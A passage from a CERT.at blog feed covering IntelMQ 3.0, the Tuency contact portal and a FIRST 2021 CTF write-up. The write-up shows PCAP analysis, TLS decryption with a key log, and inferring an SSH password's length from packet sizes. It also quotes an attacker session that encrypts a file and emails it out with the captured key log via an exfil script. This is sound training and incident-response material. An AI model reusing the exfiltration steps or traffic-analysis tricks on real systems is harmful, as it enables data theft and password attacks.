href="https://lists.cert.at/cgi-bin/mailman/listinfo/intelmq-users">ask questions</a>, <a href="https://github.com/certtools/intelmq/issues/new">reports issues</a> or <a href="https://intelmq.readthedocs.io/en/maintenance/dev/guide.html">merge your code</a> into the IntelMQ universe.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> and&nbsp;2020-AT-IA-0254 projects, which also support our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Thu, 02 Sep 2021 17:17:38 GMT+0100https://www.cert.at/en/blog/2021/9/intelmq-301-releaseCERT.at2021-09-02T17:17:38Zhttps://www.cert.at/en/blog/2021/9/tuency-constituency-portal-for-iocs-and-certs<p class="block">The new Constituency Portal "Tuency" was designed by CERT.at and the development has been delegated to the software development company <a href="https://intevation.de" target="_blank">Intevation</a>. Tuency's web portal allows you to manage your constituency members who then can manage their relevant data themselves. This is important, for example, if IP subnets or email addresses change.</p> <h2>Highlights</h2> <p class="block">In order to be future-proof and use production-ready software, Tuency ships with field-tested components.</p> <table style="height: 210px;" width="900"> <thead> <tr style="height: 16px;"> <th style="height: 16px; width: 165.367px;">Name</th> <th style="height: 16px; width: 733.633px;">Description</th> </tr> </thead> <tbody> <tr style="height: 16px;"> <td style="height: 16px; width: 165.367px;"><a href="https://laravel.com/docs/master/" target="_blank">Laravel</a></td> <td style="height: 16px; width: 733.633px;">Used as PHP Framework</td> </tr> <tr style="height: 16px;"> <td style="height: 16px; width: 165.367px;"><a href="https://getcomposer.org/" target="_blank">Composer</a></td> <td style="height: 16px; width: 733.633px;">Used as PHP package manager</td> </tr> <tr style="height: 16px;"> <td style="height: 16px; width: 165.367px;"><a href="https://vuejs.org/" target="_blank">Vue.JS</a></td> <td style="height: 16px; width: 733.633px;">Used for a single-page-application (SPA) frontend, yarn as package manager</td> </tr> <tr style="height: 16px;"> <td style="height: 16px; width: 165.367px;"><a href="https://www.keycloak.org/" target="_blank">KeyCloak</a></td> <td style="height: 16px; width: 733.633px;">As authentication service</td> </tr> <tr style="height: 16.7px;"> <td style="height: 16.7px; width: 165.367px;"><a href="https://www.docker.com/" target="_blank">Docker (optional)</a></td> <td style="height: 16.7px; width: 733.633px;">For containerized usage in your deployment</td> </tr> <tr style="height: 16px;"> <td style="height: 16px; width: 165.367px;"><a href="https://www.postgresql.org/" target="_blank">PostgreSQL</a></td> <td style="height: 16px; width: 733.633px;">Used as database</td> </tr> </tbody> </table> <h2>Customer-Relationship-Management (CRM)</h2> <p class="block">In Tuency, an organization administrator can create suborganizations, which in turn can also have their own administrator. In each organization, multiple users can be created, who can then manage the associated organization. Organizations are subject to a tree-like hierarchy.</p> <h2>Tagging</h2> <p class="block">Individual tags can be set for each user, user group or organisation to represent users or organisations' memberships or attributes. The export functions can filter by these tags.</p> <h2>Self-Management</h2> <p class="block">An organization administrator can claim network objects, for example Domains, Sub-Domains, IP address blocks, single IP addresses or RIPE Organisation handles. The claimed network objects are displayed in a tree-like structure to show the fine granularity of the claimed blocks. For network objects rules for security incident notifications can be configured and the network object can be associated with an abuse-contact.</p> <h2>API</h2> <p class="block">Tuency itself offers a rich API to query the correct abuse-contact for a given network object (ASN, IP-Address, Domain) and supports hierarchical inheritance and notification rules! IntelMQ is able to communicate with the API through an expert (<a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#tuency" target="_blank">IntelMQ</a> "bot").</p> <h2>Keycloak</h2> <p class="block">Keycloak is used as identity and access management provider. It's <a href="https://www.keycloak.org/" target="_blank">open source</a> and is widely used as a single sign-on solution. It uses standard protocols like OAuth 2.0, OpenID Connect and SAML 2.0 and also integrates with existing LDAP or Active Directory services. The Tuency source code and documentation can be found in <a href="https://gitlab.com/intevation/tuency/tuency" target="_blank">Tuency's source-code repository</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> and&nbsp;2020-AT-IA-0254 and projects, which also support our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Thu, 02 Sep 2021 10:37:18 GMT+0100https://www.cert.at/en/blog/2021/9/tuency-constituency-portal-for-iocs-and-certsCERT.at2021-09-02T10:37:18Zhttps://www.cert.at/en/blog/2021/8/intelmq-30-domain-based-workflow-ieps<p class="block">We are happy to announce the completion of the IntelMQ 3.0 milestone. The addition of 2 developers to the IntelMQ development team in October 2020 allowed us to work on major IntelMQ 3.0 changes - new features as well as architectural changes. The most important new features are:</p> <ul> <li>Domain-based workflow (Capability to use domain-based data)</li> <li>Simplified configuration management</li> <li>Easier bot development via <a href="https://intelmq.readthedocs.io/en/maintenance/dev/guide.html#mixins">"Mixins"</a></li> </ul> <p class="block">The development was based on a thorough collection of user requirements by former CERT.at employee Aaron Kaplan. This requirements collection included personal interviews in the CERT-community, workshops at CERT-conferences as well as architectural reviews. Our previous IntelMQ release, <a href="https://cert.at/en/blog/2021/3/intelmq-230-api-docker-shadowserver-reports-api-documentation">IntelMQ 2.3.0</a>, was an intermediate step, and brought, for example, Docker-support, the IntelMQ-API and the revised documentation page.</p> <h2>Domain based workflow</h2> <p class="block">The introduction of various new IntelMQ bots (also know as "Experts") removed IntelMQ's previous limitation to IP address-based data. Versions prior to IntelMQ 3.0 supported almost no domain-based workflows, most operations and look-ups could only be performed with IP addresses. For example, if the domain <em>"example.com"</em> was used as a command and control server, IntelMQ had to resolve example.com to an IP address and add that to the event. Any further processing was based on this IP address. To overcome this limitations, we added some new components in IntelMQ 3.0 that address the different requirements for processing domain-based data. These include:</p> <ul> <li>Querying the HTTP return status of websites</li> <li>Examining website's content (for example to detect whether a website has been defaced)</li> <li>Taking a screenshot of a web page using <a href="https://github.com/Lookyloo/lookyloo" target="_blank">LookyLoo</a></li> <li>Querying contact information for a domain</li> </ul> <p class="block">The important "experts" bots for domain-based workflows that where added in IntelMQ 3.0 at a glance:</p> <ul> <li><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#http-status" target="_blank">HTTP StatusCode Expert</a>: Checks websites' response status code with a given value</li> <li><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#http-content" target="_blank">HTTP Content Expert</a>: Checks websites' content for a given string</li> <li><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#lookyloo" target="_blank">LookyLoo Expert</a>: Instructs a <a href="https://www.lookyloo.eu/">LookyLoo</a>-instance to create a screenshot of the given website and adds a screenshot URL</li> <li><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#rdap" target="_blank">RDAP Expert</a>: Checks the given domain against public or user defined RDAP services.^{<a id="anker1" title="more details" href="#an1">[1]</a>}</li> <li><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#uwhoisd" target="_blank">uWhoisd</a>: Queries a <a href="https://github.com/lookyloo/uwhoisd">uWhoisd WHOIS-proxy</a> instance and saves the whois-response. This expert was contributed by <a href="https://github.com/Rafiot">Rapha&euml;l Vinot</a> (CIRCL).</li> <li><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#trusted-introducer-lookup-expert" target="_blank">Trusted Introducer Lookup Expert</a>: Checks which CERT is responsible for the domain in the <a href="https://www.trusted-introducer.org/directory/">Trusted Introducer directory</a>.</li> <li><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#tuency" target="_blank">Tuency Expert</a>: Queries a <a href="https://gitlab.com/intevation/tuency/tuency">tuency Contact database</a> to enrich the event with constituency and notification information (e.g. abuse contact for a domain) based on configured rules. A future blog post will discuss the release of Tuency in greater detail.</li> </ul> <p class="block">For additional approaches for looking up abuse contact information, please have a look at <a href="https://intelmq.readthedocs.io/en/maintenance/user/abuse-contacts.html" target="_blank">our guide on abuse-contact look-ups</a>.</p> <h2>IntelMQ Enhancement Proposal (IEP)</h2> <p class="block">An IEP is a document, like an RFC or a <a href="https://www.python.org/dev/peps/">PEP</a> (Python Enhancement Proposal) that describes the proposed changes in detail, including examples and implications. These texts are available in a separate GitHub repository <a href="https://github.com/certtools/ieps">certtools/ieps</a>, which can also be used to work on them collaboratively. Our idea behind introducing the IntelMQ Enhancement Proposal (IEP) process was to discuss major changes publicly to reach a consensus within the community. The discussion in the community takes place on the <a href="https://lists.cert.at/cgi-bin/mailman/listinfo/intelmq-dev">developer's mailinglist</a>. This process allows us to collect feedback, insight and proposals from the whole community. It's up to the community to decide if a proposal can be adopted or rejected. We have published 4 IEPs so far and have two more in the pipeline:</p> <table> <thead> <tr> <th>#</th> <th>Name</th> <th>Status</th> <th>Released in version</th> </tr> </thead> <tbody> <tr> <td>001</td> <td><a href="https://github.com/certtools/ieps/blob/main/001" target="_blank">Configuration Handling</a></td> <td><a href="https://github.com/certtools/intelmq/projects/9" target="_blank">Implementation completed</a></td> <td>3.0.0</td> </tr> <tr> <td>002</td> <td><a href="https://github.com/certtools/ieps/blob/main/002" target="_blank">Mixins</a></td> <td><a href="https://github.com/certtools/intelmq/projects/10" target="_blank">Implementation completed</a></td> <td>3.0.0</td> </tr> <tr> <td>003</td> <td><a href="https://github.com/certtools/ieps/blob/main/003" target="_blank">Internal Data Format: Multiple Values</a></td> <td>Dismissed</td> <td>-</td> </tr> <tr> <td>004</td> <td><a href="https://github.com/certtools/ieps/blob/main/004" target="_blank">Internal Data Format: Meta Information and Data Exchange</a></td> <td>Undecided/Postponed</td> <td>-</td> </tr> <tr> <td>005</td> <td><a href="https://github.com/certtools/ieps/blob/main/005" target="_blank">Internal Data Format: Notification settings</a></td> <td>Undiscussed</td> <td>-</td> </tr> <tr> <td>006</td> <td><a href="https://github.com/certtools/ieps/blob/main/006" target="_blank">Internal Data Format: Msgpack as serializer</a></td> <td>Undiscussed</td> <td>-</td> </tr> </tbody> </table> <h3>IEP01: Configuration</h3> <p class="block">In IntelMQ 3.0, we redesigned the configuration to simplify the maintenance of an IntelMQ instance. In the proposal <a href="https://github.com/certtools/ieps/blob/main/001" target="_blank">IEP 001</a> we described common issues with the current JSON configuration and asked the community to vote for one out of three possible new data formats. The community decided on YAML, a choice we are very happy with because we believe it offers the best usability. This change also merged three different and overlapping configuration files (<em>defaults.conf</em>, <em>pipeline.conf</em> and <em>runtime.conf</em>) into one single <em>runtime.yaml</em>. Furthermore, it is now possible to store default parameter values inside each bot programmatically, which reduces the risk for errors when new parameters are added. This eliminates the need for the <em>BOTS</em> file, further reducing configuration complexity and development effort.</p> <h3>IEP02: Mixins</h3> <p class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/dev/guide.html#mixins">Mixins</a> are a new component in IntelMQ to simplify the creation of new bots, by allowing the developer to use already existing templates to cover common tasks, such as Caches/States and HTTP Sessions.</p> <h3>IEP03: Multiple Values in the data format</h3> <p class="block">In IntelMQ's Internal Data Format ("IDF"), one field can have only one value, for example a single IP address or domain. However, in practice an IoC (<em>Indicator of Compromse</em>) may consist of multiple fields, e.g. a domain could map to multiple IP addresses. Allowing multiple values - as specified by IEP03 - would address this issue. An alternative approach would be linking events by unique identifiers as specified in IEP04 (see below). IEP03 and IEP04 are mutually exclusive.</p> <h4>Data example without Multiple Values</h4> <pre> { "source.ip": "192.168.0.1", "source.observation": "2021-07-22T11:12:52+00:00Z", "extra.tags": "http-exploit", } </pre> <h4>Data example with Multiple Values</h4> <pre> { "source.ip": ["192.168.0.1", "192.168.2.1"], "source.observation": "2021-07-22T11:12:52+00:00", "extra.tags": ["http-exploit", "ddos-amplification"], } </pre> <h3>IEP04: Meta Information and Data Exchange</h3> <p class="block">Meta Information provides context to IoCs and is useful when exchanging data across IntelMQ instances or visualizing event relationships. Based on previous work by the community and our own research, we proposed a possible solution in March 2021. The proposal included a detailed analysis of the problem, use-cases and an implementation suggestion. The community welcomed the proposal, but did not reach a consensus on the exact specification. IEP03 and IEP04 were also the topic of the first - virtual - IntelMQ Hackathon which took place on 22nd April 2021. The discussion of the proposal is still ongoing and a conclusion has not been reached yet. The biggest concern within the community is, that IEP04 would add a lot of complexity and would be considered a breaking change.</p> <h4>Example</h4> <pre>{ "__meta": { "UUID": "1ea60f56-b67b-61fc-829a-0242ac130003", "Version": 1, }, events: [ { "source.ip": "192.168.0.1/32", "source.observation": "2021-07-22T11:12:52+00:00", } ] } </pre> <h3>Various other new bots and improvements</h3> <p class="block">An Aggregate Expert is now included in IntelMQ by default, allowing users to aggregate matching events within a configured time span. Aggregation means that single events will be discarded and the count of matching events in the time span is kept. The <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#threshold" target="_blank">Threshold</a> expert provides similar functionality, which passes an event when a configured threshold count is reached within the configured time span. This expert is a contribution by <a href="https://github.com/creideiki">Karl Johan Karlsson</a> (liu.se).</p> <h3>n6 Integration</h3> <p class="block">IntelMQ 3.0 integrates seamlessly with <a href="https://n6.cert.pl/">n6</a>, an automated incident handling tool similar to IntelMQ, including bi-directional conversion of data formats. For more information, please see our <a href="https://intelmq.readthedocs.io/en/maintenance/user/n6-integrations.html" target="_blank">documentation</a>.</p> <h3>Final note</h3> <p class="block">A detailed list of all changes can be found in the release notes, the full documentation is available at <a href="https://intelmq.readthedocs.io/">intelmq.readthedocs.io</a>. As IntelMQ is a <a href="https://github.com/certtools/intelmq" target="_blank">community project</a>, every contribution is welcome. If you want to know more about "How to create a bot", please check out our <a href="https://intelmq.readthedocs.io/en/maintenance/dev/guide.html" target="_blank">Developer's Guide</a>.</p> <ol> <li id="an1"><a href="#anker1">[1]</a> RDAP is the successor of WHOIS using JSON as machine-readable data format.</li> </ol> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Mon, 02 Aug 2021 10:34:11 GMT+0100https://www.cert.at/en/blog/2021/8/intelmq-30-domain-based-workflow-iepsCERT.at2021-08-02T10:34:11Zhttps://www.cert.at/en/blog/2021/6/first-challenge-2021-writeup<p class="block">Due to the COVID-19 pandemic the FIRST conference 2021 moved online and so did the annual CTF organized by the <a title="https://www.first.org/global/sigs/seclounge/" href="https://www.first.org/global/sigs/seclounge/">FIRST Security Lounge SIG</a>. Thomas Pribitzer, Dimitri Robl, and Sebastian Waldbauer from CERT.at participated as a team, scoring the 9. place out of 42 teams. This post is a writeup of the challenges we were able to solve.</p> <p class="block">The challenges were organized into different categories and new challenges were released each day. However, the writeup will only reflect the categories, not the days they were published.</p> <ul> <li><a href="#network">Network</a></li> <ul> <li><a href="#print-print">print 'print'</a></li> <li><a href="#aaaa">AAAA</a></li> <li><a href="#man-or-machine">Man or Machine</a></li> <li><a href="#the-secrets-of-a-dragon-fly-part-1">The Secrets of a Dragon Fly [part 1]</a></li> <li><a href="#email-exfil">Email Exfil</a></li> <li><a href="#sudo-su"><code>sudo su</code></a></li> </ul> <li><a href="#reverse-engineering">Reverse Engineering</a></li> <ul> <li><a href="#secret-document-13">Secret document 1/3</a></li> <li><a href="#secret-document-23">Secret document 2/3</a></li> <li><a href="#secret-document-33">Secret document 3/3</a></li> <li><a href="#file-in-the-wild-12">File in the wild (1/2)</a></li> </ul> <li><a href="#forensics">Forensics</a></li> <ul> <li><a href="#russian-dolls-12">Russian Dolls (1/2)</a></li> <li><a href="#russian-dolls-22">Russian Dolls (2/2)</a></li> <li><a href="#crhome-matser">Crhome Matser</a></li> </ul> <li><a href="#miscellaneous">Miscellaneous</a></li> <ul> <li><a href="#just-run-with-steve-j.">Just run with Steve J.</a></li> <li><a href="#my-man">my man!</a></li> <li><a href="#the-bit-maker">The Bit Maker</a></li> </ul> <li><a href="#cryptography-forensics">Cryptography/Forensics</a></li> <ul> <li><a href="#the-secret">The Secret</a></li> </ul> <li><a href="#ics">ICS</a></li> <ul> <li><a href="#hmi-pwning---1">HMI Pwning - 1</a></li> <li><a href="#hiding-on-the-modbus---1">Hiding on the Modbus - 1</a></li> <li><a href="#hiding-in-the-noise---1">Hiding in the Noise - 1</a></li> </ul> <li><a href="#web">Web</a></li> <ul> <li><a href="#clear-intentions">Clear Intentions</a></li> <li><a href="#permutation-lock">Permutation Lock </a></li> <li><a href="#time-to-rest">Time to REST</a></li> <li><a href="#intern-dev-tango">Intern Dev Tango</a></li> </ul> <li><a href="#cryptography">Cryptography</a></li> <ul> <li><a href="#decode">Decode</a></li> <li><a href="#decode-2">Decode 2</a></li> <li><a href="#decode-3">Decode 3</a></li> </ul> </ul> <h2 id="network">Network</h2> <p>In total there were seven challenges of which we solved six.</p> <h3 id="print-print">print &lsquo;print&rsquo;</h3> <p>This challenge involved analyzing a PCAP file. The description was:</p> <blockquote> <p>Custom print, copy, and faxing services! And who said print media is dead?</p> </blockquote> <p>Looking at the PCAP file, we could quickly locate an interesting HTTP POST request which said:</p> <pre><code>POST /PDF HTTP/1.1 Content-Type: application/ipp Date: Sun, 22 Dec 2019 16:56:10 GMT Host: localhost:1234 Transfer-Encoding: chunked User-Agent: CUPS/2.2.7 (Linux 4.15.0-65-generic; x86_64) IPP/2.0 Accept-Encoding: deflate, gzip, identity Expect: 100-continue</code></pre> <p>Its payload contained the following header:</p> <pre><code>b7 .......*.G..attributes-charset..utf-8H..attributes-natural-language..enE..printer-uri.#ipp://printer.example.com/ipp/printB..requesting-user-name..I..document-format..application/pdf. 2ea1 PK&middot;&middot;&middot; &middot; &middot;&middot;&middot;O3&amp;&middot;&middot;/ / &middot; mimetypeapplication/vnd.oasis.opendocument.presentation</code></pre> <p>Ok, that looks strange &ndash; the POST requests refers to a document called <code>PDF</code>, it says <code>document- format..application/pdf</code>, but the MIME type says something else. Having a look at <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">the list of file signatures on Wikipedia</a> told us that <code>PK</code> is the start of the header "for zip file format and formats based on it, such as EPUB, JAR, ODF, OOXML" and that made an open document presentation more likely than a PDF. What does <code>file</code> say?</p> <pre><code>$ file PDF PDF: Zip archive data, harset</code></pre> <p>Well, not too helpful, so we removed everything until <code>PK</code> from the header, renamed it to <code>PDF.odp</code> and tried again:</p> <pre><code>$ file PDF.odp PDF.odp: OpenDocument Presentation</code></pre> <p>That looks much better! Opening it with LibreOffice we found the flag</p> <blockquote> <p><code>printprintprintprint_Flag123!</code></p> </blockquote> <p>on page 15.</p> <h3 id="aaaa">AAAA</h3> <p>Another PCAP and we&rsquo;re told</p> <blockquote> <p>Your incident response team said they located a series of suspicious TCP connections. They&rsquo;ve asked you to find the one which contains the flag. They also mentioned something about morse and binary encodings.</p> </blockquote> <p>Looking through the PCAP, we found a lot of TCP connections, all of them containing variable amounts of the letter <code>A</code>.</p> <p>Using the filter <code>tcp.stream == &amp;&amp; tcp.flags.push == 1</code> where <code></code> is replaced by each TCP stream, we found that the packet lengths varied a lot, except for stream 20 which contains mainly packets which are either 67 or 166 bytes in size.</p> <p>We exported this stream to a CSV file, extracted the the length and converted it to ones and zeroes, where 67 maps to 0 and 166 maps to 1. This resulted in a stream of bits converted to ASCII read: <code>wowyoufoundthetimeseriesflag</code>.</p> <h3 id="man-or-machine">Man or Machine</h3> <p>More PCAPs, obviously ;) The task was:</p> <blockquote> <p>This one is simple. There&rsquo;s a pcap which contains 100 SSH connections. Only 1 on the connections was human driven. All we want to know is the source port number for that 1 connection.</p> </blockquote> <p>After opening the PCAP, we looked into the Statistics section in Wireshark which showed us that most connections contained roughly the same amount of traffic except for one which had a lot more. Its source port was 54712. However, that in itself was not enough to be sure, so we dug deeper.</p> <p>Comparing the I/O graphs of the connections showed us that most of them look extremely similar, except one &ndash; again source port 54712. As connections from bot traffic should look very similar, this was was a good enough reason for us to assume that this connection was the one with a human behind a keyboard and we were correct.</p> <h3 id="the-secrets-of-a-dragon-fly-part-1">The Secrets of a Dragon Fly [part 1]</h3> <p>No PCAPs this time but a link to a website and a rather simple task:</p> <blockquote> <p>What is the password?</p> </blockquote> <p>When connecting to the website (which contained the picture of a dragonfly, which explains the name) and examining the headers the following stood out:</p> <pre><code>x-device-header: It looks like a computer desktop browser</code></pre> <p>Switching to a mobile user agent string, returned a different header:</p> <pre><code>x-proto-header: The year is 2021. IPv6 is widely adopted.</code></pre> <p>Well, let&rsquo;s try this again using IPv6. And voil&agrave;, a new header:</p> <pre><code>Congratulations: The password is 3HWvgPuu9uFILPqvp+8VvvrTZFc7hNHG</code></pre> <h3 id="email-exfil">Email Exfil</h3> <p>Back to PCAP! This time the task was:</p> <blockquote> <p>Your network traffic analysis engine triggered a high severity behavior anomaly alert. Your tier 1 SOC analysts could not identify what caused the alert. See if you can locate it and the flag!</p> </blockquote> <p>The PCAP contains three TCP connections: one over telnet, one over SMTP and one via TLS. The telnet connection reveals the relevant information. First it tells us, what the attacker did on the machine and the two relevant commands were:</p> <pre><code>PW=`SSLKEYLOGFILE=/.hidden/log.log curl "https://www.passwordrandom.com/query?command=password"`; qpdf foo.pdf --encrypt $PW $PW 256 -- enc_foo.pdf python exfil.py</code></pre> <p><code>exfil.py</code>&rsquo;s contents are also shown in the session, revealing a simple SMTP-exfil script which sends both <code>./hidden/log.log</code> and <code>enc_foo.pdf</code> to the attacker:</p> <pre><code>Content-Type: multipart/mixed; boundary="===============5727638339489555207=="\r\n MIME-Version: 1.0\r\n Subject: Check this out!\r\n From: attacker@localhost\r\n To: root@localhost\r\n \r\n --===============5727638339489555207==\r\n Content-Type: multipart/alternative;\r\n boundary="===============1396928425997086772=="\r\n MIME-Version: 1.0\r\n \r\n --===============1396928425997086772==\r\n Content-Type: text/plain; charset="us-ascii"\r\n MIME-Version: 1.0\r\n Content-Transfer-Encoding: 7bit\r\n \r\n Alt Text\r\n --===============1396928425997086772==\r\n Content-Type: text/plain; charset="us-ascii"\r\n MIME-Version: 1.0\r\n Content-Transfer-Encoding: 7bit\r\n \r\n This is the stolen data. See to it that it makes its way into the database.\r\n --===============1396928425997086772==--\r\n \r\n --===============5727638339489555207==\r\n Content-Type: application/octet-stream\r\n MIME-Version: 1.0\r\n Content-Transfer-Encoding: base64\r\n Content-Disposition: attachment; filename="one.jpg"\r\n \r\n Q0xJRU5UX1JBTkRPTSA2YjYxYjNmY2Q0NDA3NjIyODY5ZTRlNDQyOTZmYjc3MTBlMWY1YjE4OWYz\r\n MWJjNzBhYTE4ZmYxYjYyNWE2MGYzIGNhNWEyNjE0YjY5NjgxNGRhMThjNWMxYTE1MzliOWZiZWNm\r\n M2VmMzRjZWEwN2MwNGY2OTNjZDNmMjY1MWVjM2IzZmU4MWZkYjczYzA0MDc3MGEwZmEwOGE4NzEy\r\n ZDk2Ywo=\r\n \r\n --===============5727638339489555207==\r\n Content-Type: application/octet-stream\r\n MIME-Version: 1.0\r\n Content-Transfer-Encoding: base64\r\n Content-Disposition: attachment; filename="two.jpg"\r\n \r\n [SNIP]</code></pre> <p>After extracting both <code>.jpg</code> files from the SMTP stream and decoded the base64, we got:</p> <pre><code>$ file {one,two}.jpg one.jpg: ASCII text two.jpg: PDF document, version 1.7</code></pre> <p>And of course, when we try to open the PDF we&rsquo;re asked for a password which we don&rsquo;t have yet. However, <code>one.jpg</code> contains the logfile which can be used to decrypt TLS traffic by simply setting the <code>SSLKEYLOGFILE</code> variable accordingly. We can now use <code>tshark</code> to get our password. First, we have to find the packet we&rsquo;re interested in:</p> <pre><code>$ SSLKEYLOGFILE=one.jpg tshark -r email-exfil.pcap -Y "ssl" 203 23.638954 10.0.3.15 37806 205.144.171.63 443 TLSv1 573 Client Hello 205 23.696214 205.144.171.63 443 10.0.3.15 37806 TCP 1396 [TCP segment of a reassembled PDU] 207 23.697224 205.144.171.63 443 10.0.3.15 37806 TLSv1.2 1775 Server Hello, Certificate, Server Key Exchange, Server Hello Done 209 23.701477 10.0.3.15 37806 205.144.171.63 443 TLSv1.2 214 Client Key Exchange, Change Cipher Spec, Finished 211 23.756376 205.144.171.63 443 10.0.3.15 37806 HTTP2 176 SETTINGS[0], WINDOW_UPDATE[0] 212 23.756894 10.0.3.15 37806 205.144.171.63 443 HTTP2 109 Magic 213 23.757075 10.0.3.15 37806 205.144.171.63 443 HTTP2 112 SETTINGS[0] 215 23.757209 10.0.3.15 37806 205.144.171.63 443 HTTP2 98 WINDOW_UPDATE[0] 218 23.757385 10.0.3.15 37806 205.144.171.63 443 HTTP2 149 HEADERS[1]: GET /query?command=password 219 23.757498 10.0.3.15 37806 205.144.171.63 443 HTTP2 94 SETTINGS[0] 222 23.808444 205.144.171.63 443 10.0.3.15 37806 HTTP2 94 SETTINGS[0] 223 23.838464 205.144.171.63 443 10.0.3.15 37806 HTTP2 292 HEADERS[1]: 200 OK, DATA[1], DATA[1] (text/plain) 258 23.849585 10.0.3.15 37806 205.144.171.63 443 TLSv1.2 87 Alert (Level: Warning, Description: Close Notify)</code></pre> <p>Well, packet 223 contains a reply in <code>text/plain</code>, so:</p> <pre><code>$ SSLKEYLOGFILE=one.jpg tshark -r email-exfil.pcap -Y "http2 &amp;&amp; frame.number == 223" -x [SNIP] Reassembled body (11 bytes): 0000 52 61 6f 4c 59 39 3a 33 30 77 6a RaoLY9:30wj</code></pre> <p>This looks like our password, so let&rsquo;s try it out:</p> <pre><code>$ qpdf --decrypt two.jpg --password='RaoLY9:30wj' decrpted.pdf $ pdf2txt decrypted.pdf YouFoundThisFlag!_Congrats!</code></pre> <h3 id="sudo-su"><code>sudo su</code></h3> <p>Another PCAP \o/. Our task says:</p> <blockquote> <p>This is another easy one. The pcap contains a single ssh session. The user authenticated with a public key. The user was then provided a pseudo-terminal on the server. The user entered the "sudo su" command. The user then typed their passowrd and successfully elevated to root. The user then pressed CTL+D twice which exited first the root and then the user&rsquo;s ssh session.</p> <p>All we want to know is the length of the user&rsquo;s password. It&rsquo;s a number.</p> </blockquote> <p>Basically, this is an exercise in counting: Using the very helpful article <a class="uri" href="https://www.trisul.org/blog/traffic-analysis-of-secure-shell-ssh/">https://www.trisul.org/blog/traffic-analysis-of-secure-shell-ssh/</a> we analyzed the connection. First, we determined which algorithm was used:</p> <pre><code>$ tshark -r sudo_su.pcap -T fields -e ssh.encryption_algorithms_server_to_client -e ssh.encryption_algorithms_client_to_server -E header=y -VVV | grep -v '^[[:space:]]*$' ssh.encryption_algorithms_server_to_client ssh.encryption_algorithms_client_to_server chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com</code></pre> <p>Ok, so both list <code>chacha20-poly1305@openssh.com</code> as their first choice. The article says that packets containing a single keystroke encrypted with this algorithm have an encrypted size of 36 bytes and as there are a lot of packets containing 36 bytes, this is our algorithm. How many of those do we have?</p> <pre><code>$ tshark -r sudo_su.pcap 'tcp.len == 36 &amp;&amp; tcp.dstport == 22' | wc -l 18</code></pre> <p>In case you wonder: Filtering for the destination port is necessary because each keystroke is sent twice &ndash; once from the client to the server and then echoed back from the server to the client so that it appears on their screen. Thus, we have 18 keystrokes, which we can break down further:</p> <ul> <li> <p><code>sudo su</code> + ENTER, i.e. 8</p> </li> <li> <p>The password + ENTER</p> </li> <li> <p>CTRL-D twice.</p> </li> </ul> <p>So it seems the password has <span class="math inline">18 &minus; 8 &minus; 1 &minus; 2 = 7</span> characters. However, to be absolutely sure, we created an SSH session in our network using passwords we knew and sniffed the traffic. It turned out that this technique counts one byte to much, presumably because the last CTRL-D sends an additional logoff command and thus counts for two keystrokes.</p> <p>Therefore, the final answer was that the password has six characters.</p> <h2 id="reverse-engineering">Reverse Engineering</h2> <p>This part contained seven challenges of which we solved four.</p> <h3 id="secret-document-13">Secret document 1/3</h3> <p>We&rsquo;re given a file with the following task:</p> <blockquote> <p><strong>For your eyes onl!!</strong></p> <p>Guys,</p> <p>We have received this document that content very sensitive informations.</p> <p>As our policy require to block macros, we need your help to discover the secret stored in the document.</p> <p>Someone says that this document retrieve it&rsquo;s content* from an IP*, can you spot which one?</p> <p>Thanks!</p> <p>P.S: password for document is "infected"</p> </blockquote> <p>The file we received was a password-protected 7z file:</p> <pre><code>$ 7z x -pinfected document.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 154242 bytes (151 KiB) Extracting archive: document.7z -- Path = document.7z Type = 7z Physical Size = 154242 Headers Size = 194 Method = LZMA2:192k 7zAES Solid = - Blocks = 1 Everything is Ok Size: 166575 Compressed: 154242</code></pre> <p>To inspect the macros we used <a href="https://blog.didierstevens.com/my-software/#oledump">Didier Steven&rsquo;s <code>oledump.py</code></a>:</p> <pre><code>$ python2 oledump.py -i 'TOP SECRET -- For Your Eyes Only.docm' A: word/vbaProject.bin A1: 412 